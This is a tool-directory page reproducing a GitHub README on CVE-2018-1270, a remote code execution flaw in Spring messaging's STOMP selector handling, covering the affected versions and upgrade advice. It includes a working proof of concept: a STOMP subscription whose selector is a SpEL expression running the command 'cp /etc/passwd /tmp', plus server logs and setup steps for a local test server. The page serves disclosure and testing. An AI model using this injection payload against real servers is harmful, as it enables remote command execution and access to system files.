Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-1270 — Spring messaging STOMP protocol RCE | Kitploit
Tools/GitHubGitHub/caledoniaproject/cve-2018-1270
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

Spring messaging STOMP protocol RCE

View Repository
11318278 years agoNot yet reviewed
Share

CVE-2018-1270 - Spring Messaging SpEL Code Execution Vulnerability

Yesterday, Spring disclosed an RCE vulnerability. Take a look:

  • CVE-2018-1270: Remote Code Execution with spring-messaging

Affected Versions

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

This vulnerability does not require specific environment conditions. If you are using spring-messaging + websocket + STOMP, please upgrade to the latest version as soon as possible; if you are using Spring Boot, please upgrade to 2.0.1.RELEASE.

Vulnerability Details

In simple terms, because StandardEvaluationContext has excessive permissions and can execute arbitrary SpEL expressions, the official team added SimpleEvaluationContext after Spring 5.0.5. This is used for simple data binding, maintaining flexibility without introducing security risks.

spring-messaging provides STOMP protocol support, allowing clients to subscribe to messages and use selectors to filter them, e.g.

selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

When you subscribe, Spring stores this filter and triggers it when the client receives a message, e.g.

2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

PoC Screenshot

screenshot

Detailed vulnerability analysis article will be published later.

Environment Usage

Compile and start the Spring Boot server,

mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Access - enter expressions to test,

http://localhost:8080

screenshot

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →